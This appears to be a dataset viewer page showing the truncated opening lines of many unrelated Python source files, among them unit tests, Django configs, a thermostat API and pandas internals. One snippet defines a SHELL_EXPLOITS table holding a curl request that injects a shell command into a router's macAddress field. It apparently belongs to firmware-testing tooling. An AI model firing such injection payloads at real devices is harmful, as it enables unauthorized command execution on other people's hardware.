gt stringclasses 1
value | context stringlengths 2.49k 119k |
|---|---|
import unittest
from numpy import alltrue, arange, array, ravel, transpose, zeros, inf, isinf
from numpy.testing import assert_equal, assert_
from chaco.api import DataRange2D, GridDataSource, PointDataSource
class DataRange2DTestCase(unittest.TestCase):
def test_empty_range(self):
r = DataRange2D()
... | |
#gView 0.5.5
#View Module - gViewer.py
#---------------------------------------------------
#Description: Texture thumbnail browser for Mari
#Supported Versions: 2.6.x
#Author: Ben Neall, Contact: bneall@gmail.com
#copyright Ben Neall 2014
import PySide.QtGui as QtGui
import PySide.QtCore as QtCore
import threading
im... | |
# -*- coding: utf-8 -*-
# Import python libs
from __future__ import absolute_import
import os
import hashlib
import tempfile
# Import Salt Testing libs
from salttesting.helpers import ensure_in_syspath
ensure_in_syspath('../../')
# Import salt libs
import integration
import salt.utils
class CPModuleTest(integratio... | |
# Copyright (c) 2012-2014 ARM Limited
# All rights reserved.
#
# The license below extends only to copyright in the software and shall
# not be construed as granting a license to any other intellectual
# property including but not limited to intellectual property relating
# to a hardware implementation of the functiona... | |
import re
import socket
import time
from fabric.context_managers import settings
from fabric.decorators import task
from fabric.network import disconnect_all
from fabric.state import env
from fabric.contrib.console import confirm
from fabric.contrib.files import exists, comment, append, uncomment
from fabric.operations... | |
import unittest
from mongoengine import *
from mongoengine.queryset import QueryFieldList
__all__ = ("QueryFieldListTest", "OnlyExcludeAllTest")
class QueryFieldListTest(unittest.TestCase):
def test_empty(self):
q = QueryFieldList()
self.assertFalse(q)
q = QueryFieldList(always_include... | |
"""
Filename: odu.py
Authors: Thomas Sargent, John Stachurski
Solves the "Offer Distribution Unknown" Model by value function
iteration and a second faster method discussed in the corresponding
quantecon lecture.
"""
from textwrap import dedent
from scipy.interpolate import LinearNDInterpolator
from scipy.integrate ... | |
"""Tests for OAuth2 authentication with the web API."""
from datetime import timedelta
from django.contrib.auth.models import User
from djblets.features.testing import override_feature_check
from djblets.testing.decorators import add_fixtures
from djblets.webapi.auth.backends import reset_auth_backends
from djblets.w... | |
# Copyright 2014 The Rust Project Developers. See the COPYRIGHT
# file at the top-level directory of this distribution and at
# http://rust-lang.org/COPYRIGHT.
#
# Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or
# http://www.apache.org/licenses/LICENSE-2.0> or the MIT license
# <LICENSE-MIT or http://... | |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import librosa
import numpy
import scipy
def feature_extraction_lfcc(audio_filename_with_path, statistics=True):
print audio_filename_with_path
with open(audio_filename_with_path,'r') as f:
feature_matrix = numpy.loadtxt(f)
#f.close()
# Collect into data... | |
# -*- coding: utf-8 -*-
# File: cifar.py
# Yukun Chen <cykustc@gmail.com>
import numpy as np
import os
import pickle
import tarfile
from ...utils import logger
from ...utils.fs import download, get_dataset_path
from ..base import RNGDataFlow
__all__ = ['CifarBase', 'Cifar10', 'Cifar100']
DATA_URL_CIFAR_10... | |
# -*- coding:utf-8 -*-
from __future__ import unicode_literals
from django.core.urlresolvers import reverse_lazy
from unipath import Path
from machina import get_apps as get_machina_apps
from machina import MACHINA_MAIN_STATIC_DIR
from machina import MACHINA_MAIN_TEMPLATE_DIR
PROJECT_PATH = Path(__file__).ancestor... | |
#!/usr/bin/env python
# Licensed to Cloudera, Inc. under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. Cloudera, Inc. licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you ma... | |
#
# tested on | Windows native | Linux cross-compilation
# ------------------------+-------------------+---------------------------
# MSVS C++ 2010 Express | WORKS | n/a
# Mingw-w64 | WORKS | WORKS
# Mingw-w32 | WORKS | WORKS
# MinGW ... | |
# Copyright 2016 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agree... | |
import imp
import os
import re
import tempfile
import shutil
from mock import *
from gp_unittest import *
from gparray import GpDB, GpArray
from gppylib.db.dbconn import UnexpectedRowsError
from pygresql import pgdb
from gppylib.operations.backup_utils import escapeDoubleQuoteInSQLString
cursor_keys = dict(
norm... | |
# -*- coding: utf-8 -*-
# Unit and doctests for specific database backends.
from __future__ import absolute_import
import datetime
import threading
from django.conf import settings
from django.core.management.color import no_style
from django.core.exceptions import ImproperlyConfigured
from django.db import (backend,... | |
"""RESTful HTTP API for controlling a Raspberry Pi thermostat. API endpoints define setpoints for 8 3hr time intervals
throughout a 24hr day: 0-3, 3-6, 6-9, etc. Additionally, the user may override the scheduled setpoint for the next 3 hours.
Includes built-in hysteresis to avoid rapid on-off switching of HVAC systems;... | |
import inspect
import os
import re
from importlib import import_module
from django.apps import apps
from django.conf import settings
from django.contrib import admin
from django.contrib.admin.views.decorators import staff_member_required
from django.contrib.admindocs import utils
from django.core import urlresolvers
f... | |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Tests for the status view."""
from __future__ import unicode_literals
import unittest
try:
import mock # pylint: disable=import-error
except ImportError:
from unittest import mock
import sys
from dfvfs.lib import definitions as dfvfs_definitions
import plaso
f... | |
# Copyright 2010 United States Government as represented by the
# Administrator of the National Aeronautics and Space Administration.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a ... | |
"""
The PythonInfo contains information about a concrete instance of a Python interpreter
Note: this file is also used to query target interpreters, so can only use standard library methods
"""
from __future__ import absolute_import, print_function
import json
import logging
import os
import platform
import re
import... | |
__author__ = 'Tom'
import pymel.core as pm
import tb_messages as tb_msg
def intEntered(name, *args):
pm.optionVar(intValue=(str(name), args[0]))
class folder_picker():
def __init__(self):
self.main_layout = pm.formLayout()
self.layout = pm.rowLayout(numberOfColumns=3,
... | |
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use ... | |
# Software License Agreement (BSD License)
#
# Copyright (c) 2008, Willow Garage, Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# * Redistributions of source code must retain the above... | |
#flask imports
from flask import render_template, flash, redirect, session, url_for, request, g
from flask.ext.login import login_user, logout_user, current_user, login_required
#app stuff
from app import app, db, lm, oid, models, admin
from flask.ext.admin.contrib.sqlamodel import ModelView
from flask.ext.admin.base ... | |
# coding=utf-8
# Copyright 2020 The HuggingFace Team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requir... | |
# -*- coding: utf-8 -*-
"""
Command line interface to orchestrion
"""
from __future__ import print_function
import argparse
from orcoursetrion import actions
def run_create_export_repo(args):
"""Run the create_export_repo action using args"""
repo = actions.create_export_repo(args.course, args.term, args.de... | |
# Copyright (c) - 2014, Clinton Knight. All rights reserved.
# Copyright (c) - 2015, Tom Barron. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# ht... | |
'''
Open Source Initiative OSI - The MIT License:Licensing
Tue, 2006-10-31 04:56 - nelson
The MIT License
Copyright (c) 2009 BK Precision
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without ... | |
# Copyright 2016 United States Government as represented by the Administrator
# of the National Aeronautics and Space Administration. All Rights Reserved.
#
# Portion of this code is Copyright Geoscience Australia, Licensed under the
# Apache License, Version 2.0 (the "License"); you may not use this file
# except in c... | |
from django.core.management.base import NoArgsCommand
from django.utils.translation import ugettext as _
from django.utils.translation import ungettext, string_concat
from django.conf import settings
from googlevoice.util import ValidationError
from shoppleyuser.models import *
from offer.models import *
from shoppleyu... | |
# -*- coding: utf-8 -*-
#
# nova documentation build configuration file, created by
# sphinx-quickstart on Sat May 1 15:17:47 2010.
#
# This file is execfile()d with the current directory set to
# its containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All ... | |
# -*- coding: utf-8 -*-
#
# Copyright 2012-2015 Spotify AB
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... | |
"""
Mapping between vt100 key sequences, the prompt_toolkit key constants and the
Pymux namings. (Those namings are kept compatible with tmux.)
"""
from __future__ import unicode_literals
from prompt_toolkit.keys import Keys
from prompt_toolkit.input.vt100_parser import ANSI_SEQUENCES
__all__ = (
'pymux_key_to_pro... | |
from django.shortcuts import render
# Create your views here.
def proindex(request):
return render(request, 'example/probase.html' )
def index(request):
return render(request, 'e_index.html' )
def badges_labels(request):
return render(request, 'badges_labels.html' )
def four(requ... | |
"""
=================
`geoutil._geoset`
=================
Container classes for organizing collections of `shapely.geometry` objects.
This module defines a custom data structure called a *geoset* that enables
basic grouping and attribution of objects from `shapely.geometry`. The
geoset structure is implemented using... | |
"""
Routines for filling missing data.
"""
import numpy as np
from pandas._libs import algos, lib
from pandas.compat._optional import import_optional_dependency
from pandas.core.dtypes.cast import infer_dtype_from_array
from pandas.core.dtypes.common import (
ensure_float64,
is_datetime64_dtype,
is_dateti... | |
# -*- coding: utf-8 -*-
'''
Production Configurations
- Use djangosecure
- Use Amazon's S3 for storing static files and uploaded media
- Use mailgun to send emails
- Use Redis on Heroku
'''
from __future__ import absolute_import, unicode_literals
from django.utils import six
from .common import * # noqa
# SECRET ... | |
from urllib.request import urlopen
from urllib.parse import urlencode
from urllib.error import HTTPError
import json
import logging
from datetime import datetime, date as Date
import sys
import re
from typing import List, Iterator, Tuple, Optional
from . import env
LOG = logging.getLogger(__name__)
LOG.setLevel(loggin... | |
# Copyright (C) 2012-2013 Claudio Guarnieri.
# Copyright (C) 2014-2018 Cuckoo Foundation.
# This file is part of Cuckoo Sandbox - http://www.cuckoosandbox.org
# See the file 'docs/LICENSE' for copying permission.
import os
import pytest
import re
import tempfile
from cuckoo.common.files import Files
from cuckoo.commo... | |
from __future__ import unicode_literals
from collections import defaultdict
import uuid
from jinja2 import Template
from moto.core import BaseBackend, BaseModel
from moto.core.utils import get_random_hex
class HealthCheck(BaseModel):
def __init__(self, health_check_id, health_check_args):
self.id = he... | |
from __future__ import absolute_import
from functools import partial
from zerver.lib.actions import check_send_message
from zerver.lib.response import json_success
from zerver.decorator import api_key_only_webhook_view, REQ, has_request_variables
from zerver.lib.webhooks.git import get_push_commits_event_message, EMPTY... | |
# -*- coding: utf-8 -*-
"""
Created on Fri Jan 02 09:38:14 2015
@author: Anna Stuhlmacher
plotting
"""
from __future__ import division, absolute_import
import logging
import numpy as np
import scipy as sp
import scipy.interpolate as spinterp
import time
import datetime as dt
import matplotlib.pyplot as plt
from matp... | |
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... | |
import sys, os, time
import ConfigParser
from itertools import groupby
import ipython1.kernel.api as kernel
import boto
# options required in the config file
required_config_options = [
('access_key', 'Please specify your AWS access key ID.'),
('secret_access_key', 'Please specify your AWS secret a... | |
#!/usr/env/python
# -*- coding: utf-8 -*-
'''
Script that processes a dataset of rated articles and checks each article's
talk page in order to verify how many templates with importance ratings are
on their talk pages.
Copyright (c) 2017 Morten Wang
Permission is hereby granted, free of charge, to any person obtainin... | |
# Copyright 2013 VMware, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | |
import argparse
from pathlib import Path
from methods import Method
from models import SampleCollection, Experiment
from declarative_parser import Parser, Argument
from declarative_parser.types import Slice, one_of, Indices, dsv, Range
from declarative_parser.constructor_parser import ConstructorParser
class Sample... | |
#
# Autocomplete feature for admin panel
#
# Most of the code has been written by Jannis Leidel:
# http://jannisleidel.com/2008/11/autocomplete-form-widget-foreignkey-model-fields/
#
# to_string_function, Satchmo adaptation and some comments added by emes (Michal Salaban)
#
from django import forms
from dja... | |
#!/usr/bin/env python
import os
import sys
import getopt
import subprocess
import contextlib
import psycopg2
SHELL_EXPLOITS = {
200 : ("curl -L --max-redir 0 -m 5 -s -f -X POST -d \"macAddress=000000000000;cat DEADBEEF1;®info=1&writeData=Submit\" http://%(target)s/boardData102.php", "grep -qs \"DEADBEEF1\" qem... | |
# Copyright 2017 the V8 project authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import os
import re
import signal
import subprocess
import sys
import threading
import time
from ..local.android import (
android_driver, CommandFail... | |
'''
Video
=====
Core class for reading video files and managing the video
:class:`~kivy.graphics.texture.Texture`.
.. versionchanged:: 1.10.0
The pyglet, pygst and gi providers have been removed.
.. versionchanged:: 1.8.0
There are now 2 distinct Gstreamer implementations: one using Gi/Gst
working for bo... | |
import threading
import unittest
import mock
from nose.tools import assert_raises
from nose.tools import eq_
from nose.tools import raises
class TestThreadingHandler(unittest.TestCase):
def _makeOne(self, *args):
from kazoo.handlers.threading import SequentialThreadingHandler
return SequentialThr... | |
"""All widgets in the kivy-grid-cells package"""
from contextlib import contextmanager
import logging
from kivy.properties import (
NumericProperty,
ListProperty,
BooleanProperty,
)
from kivy.uix.relativelayout import RelativeLayout
from kivy.uix.widget import Widget
import numpy as np
from .constants im... | |
import math
import uuid
import base64
import psycopg2.extras
from pred.webserver.customlist import CustomList, does_custom_list_exist, get_gene_name_set
from pred.queries.predictionquery import PredictionQuery
from pred.queries.maxpredictionquery import MaxPredictionQuery
from pred.queries.genelistquery import GeneList... | |
# -*- coding: utf-8 -*-
"""
Field entities, implemented for support Django ORM.
Every class, represented here, is associated with one certain field type of
table relatively to Django ORM. Each of them field also used later for
serializing/deserializing object of ORM.
"""
import datetime
import re
import uuid
from aio... | |
"""
Routines for filling missing data.
"""
from functools import partial
from typing import TYPE_CHECKING, Any, List, Optional, Set, Union
import numpy as np
from pandas._libs import algos, lib
from pandas._typing import ArrayLike, Axis, DtypeObj
from pandas.compat._optional import import_optional_dependency
from pa... | |
from bs4 import BeautifulSoup
try:
# For Python 3.0 and later
from urllib.request import urlopen
from urllib.error import URLError
from urllib.error import HTTPError
except ImportError:
# Fall back to Python 2's urllib2
from urllib2 import urlopen
from urllib2 import URLError
from urlli... | |
#!/usr/bin/env python3
# Copyright (c) 2015-2017 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test processing of unrequested blocks.
Setup: two nodes, node0+node1, not connected to each other. Nod... | |
import os
import sys
import logging
__all__ = ['logger']
try:
from colorama import init, Fore, Style
init(autoreset=False)
colors = {
'good' : Fore.GREEN,
'bad' : Fore.RED,
'vgood' : Fore.GREEN + Style.BRIGHT,
'vbad' : Fore.RED + Style.BRIGHT,
'std' : '... | |
###########################################
# Project: CMSIS DSP Library
# Title: description.py
# Description: Schedule generation
#
# $Date: 29 July 2021
# $Revision: V1.10.0
#
# Target Processor: Cortex-M and Cortex-A cores
# ------------------------------------------------------------------... | |
#!/usr/bin/env python
# portions copyright 2001, Autonomous Zones Industries, Inc., all rights...
# err... reserved and offered to the public under the terms of the
# Python 2.2 license.
# Author: Zooko O'Whielacronx
# http://zooko.com/
# mailto:zooko@zooko.com
#
# Copyright 2000, Mojam Media, Inc., all rights reserv... | |
# -*- coding: utf-8 -*-
"""
"""
import json
import socket
import logging
import threading
from urlparse import urljoin
import requests
from apiaccesstoken.clientside import RequestsAccessTokenAuth
def get_log(e=None):
return logging.getLogger("{0}.{1}".format(__name__, e) if e else __name__)
# Set up by a call... | |
from os import walk, sep, pardir
from os.path import split, join, abspath, exists, isfile
from glob import glob
import re
import random
import ast
from sympy.core.compatibility import PY3
# System path separator (usually slash or backslash) to be
# used with excluded files, e.g.
# exclude = set([
# ... | |
# -*- coding: utf-8 -*-
#
# scikit-learn documentation build configuration file, created by
# sphinx-quickstart on Fri Jan 8 09:13:42 2010.
#
# This file is execfile()d with the current directory set to its containing
# dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
... | |
from core.himesis import Himesis, HimesisPreConditionPatternLHS
import uuid
class HPos_ChildSchool_CompleteLHS(HimesisPreConditionPatternLHS):
def __init__(self):
"""
Creates the himesis graph representing the AToM3 model HPos_ChildSchool_CompleteLHS.
"""
... | |
"""
sentry.models.organization
~~~~~~~~~~~~~~~~~~~~~~~~~~
:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function
from datetime import timedelta
from bitfield import BitField
from django.conf i... | |
#!/usr/bin/env python
#author Philippe Raipin
#author Eric Mourgaya
#licence : apache v2
# chkconfig: 2345 55 25
# description: Cephprobe daemon
#
# processname: cephprobe
# pidfile: /var/run/cephprobe/cephprobe.pid
### BEGIN INIT INFO
# Provides: cephprobe
# Required-Start: $remote_fs $syslog
# Requir... | |
#!/usr/bin/env python
# Copyright 2015 Mirantis, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appl... | |
# -*- coding: utf-8 -*-
# Copyright 2022 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | |
# Copyright 2013 Metacloud, Inc
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agr... | |
"""
File Formtools Preview application.
Based on django.contrib.formtools.FormPreview
"""
try:
import cPickle as pickle
except ImportError:
import pickle
from copy import deepcopy, copy
from django import forms
from django.conf import settings
from django.http import Http404
from django.shortcuts import rend... | |
#!/usr/bin/env python
# encoding: utf-8
"""
Search a Twitter archive (from archive.org) to find all characters related to time.
Finds distributions of those and all other emoji in the tweets.
-p : Path to the Twitter archive
-d : How many days to search (for testing)
-hr : How many hours to search (for testing)
"""
... | |
"""
This module defines the different types of terms...
"""
__all__ = [
'Node',
'Identifier',
'URIRef',
'BNode',
'Literal',
'Variable',
'Statement',
]
import logging
_LOGGER = logging.getLogger(__name__)
import base64
import re
import threading
from urlparse import urlparse, urlj... | |
# Copyright 2016 SAS Project Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requ... | |
from .Node import error
SYNTAX_NODE_SERIALIZATION_CODES = {
# 0 is 'Token'. Needs to be defined manually
# 1 is 'Unknown'. Needs to be defined manually
'UnknownDecl': 2,
'TypealiasDecl': 3,
'AssociatedtypeDecl': 4,
'IfConfigDecl': 5,
'PoundErrorDecl': 6,
'PoundWarningDecl': 7,
'Pou... | |
#!/usr/bin/env python
import unittest
import xml.dom.minidom
from dominic import xpath
class TestAbbreviations(unittest.TestCase):
"""Section 2.5: Abbreviated Syntax"""
def test_para_children(self):
doc = xml.dom.minidom.parseString("""
<doc>
<para id="1" />
... | |
# Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | |
#!/usr/bin/env python3
"""Generate psa_constant_names_generated.c
which is included by programs/psa/psa_constant_names.c.
The code generated by this module is only meant to be used in the context
of that program.
An argument passed to this script will modify the output directory where the
file is written:
* by defaul... | |
#!/usr/bin/python
import logging
class NullHandler(logging.Handler):
def emit(self, record):
pass
log = logging.getLogger('XivelySyncEngine')
log.setLevel(logging.ERROR)
log.addHandler(NullHandler())
import time
import copy
import threading
from pydispatch import dispatcher
from EventBus ... | |
#!/afs/crc.nd.edu/x86_64_linux/python/3.4.0/gcc-4.8.0/bin/python3
''' reactive_flux.py - Calculates the normalized reactive flux, k(t),
from a set of GROMACS simulations started at the maximum of the
free energy barrier. Currently supports bimolecular reactions.
'''
import os
import numpy as np
import math
import sys... | |
from __future__ import unicode_literals
import sys
import os
import re
import mimetypes
from copy import copy
from io import BytesIO
from django.conf import settings
from django.contrib.auth import authenticate, login, logout, get_user_model
from django.core.handlers.base import BaseHandler
from django.core.handlers.... | |
#!/usr/bin/env python
##
## Copyright 2010 Adriana Lukas & Alec Muffett
##
## Licensed under the Apache License, Version 2.0 (the "License"); you
## may not use this file except in compliance with the License. You
## may obtain a copy of the License at
##
## http://www.apache.org/licenses/LICENSE-2.0
##
## Unless requi... | |
#!/usr/bin/python
# bluetooth manager
# libraries
from __future__ import absolute_import, print_function, unicode_literals
from optparse import OptionParser, make_option
import os
import sys
import socket
import uuid
import dbus
import dbus.service
import dbus.mainloop.glib
try:
from gi.repository import GObject
... | |
"""Tests for tensorflow.ops.ops."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import tensorflow.python.platform
import numpy as np
import tensorflow as tf
from tensorflow.python.framework import random_seed
from tensorflow.python.ops import init_ops
... | |
""" Defines the ScatterPlot class, and associated Traits UI view and helper
function.
"""
# Standard library imports
import itertools
# Major library imports
from numpy import around, array, asarray, column_stack, \
isfinite, isnan, nanargmin, ndarray, sqrt, sum, transpose, where
# Enthought library imports
from... | |
# Copyright (c) 2015 Ansible, Inc.
# All Rights Reserved.
# Python
import contextlib
import logging
import threading
import json
import sys
# Django
from django.db import connection
from django.conf import settings
from django.db.models.signals import (
pre_save,
post_save,
pre_delete,
post_delete,
... | |
#
# Copyright (c) 2008-2015 Citrix Systems, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License")
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable l... | |
# file build system
#
# The purpose of this file is to load a system configuration
# in the graphic data base
#
import json
import redis
import redis_graph
import farm_template
from redis_graph.redis_graph_query import Query_Configuration
import copy
class Graph_Management():
def __init__( self , co... | |
# Copyright (c) Pymatgen Development Team.
# Distributed under the terms of the MIT License.
"""
This module contains classes to wrap Python VTK to make nice molecular plots.
"""
import itertools
import math
import os
import subprocess
import time
import numpy as np
try:
import vtk
from vtk import vtkInter... | |
# ----------------------------------------------------------------------------
# Copyright (c) 2016-2022, QIIME 2 development team.
#
# Distributed under the terms of the Modified BSD License.
#
# The full license is in the file LICENSE, distributed with this software.
# ------------------------------------------------... | |
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not... | |
# Copyright (c) 2012-2015 Netforce Co. Ltd.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publ... | |
#!/usr/bin/env python
#
# $Id: _psposix.py 1342 2012-06-10 22:43:25Z g.rodola $
#
# Copyright (c) 2009, Jay Loden, Giampaolo Rodola'. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Routines common to all posix systems."""
import os
import ... | |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# See LICENSE.txt for licensing terms
"""
Scan a list of folders and find all .afm files,
then create rst2pdf-ready font-aliases.
"""
import os
import sys
from reportlab.pdfbase import pdfmetrics
from reportlab.pdfbase.ttfonts import (
TTFont,
TTFontFile,
TTF... | |
#!/usr/bin/env python
"""
Copyright (c) 2014-2018 Alex Forencich
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify,... | |
import random # pragma: no cover
import io # pragma: no cover
from collections import Counter # pragma: no cover
import os.path # pragma: no cover
import csv # pragma: no cover
import numpy
from pathlib import Path
import json
from ._vendorized.keras_data_utils import get_file # pragma: no cover
from ..neural.util imp... | |
# Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | |
import numbers
import numpy as np
import torch
import torch.autograd
import _ext
import _extc
import error_checking as ec
class ReorderData(torch.nn.Module):
""" TODO
"""
def __init__(self, reverse=False):
""" TODO
if reverse: ret[idxs] = input
else: ret = input[idxs]
"... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.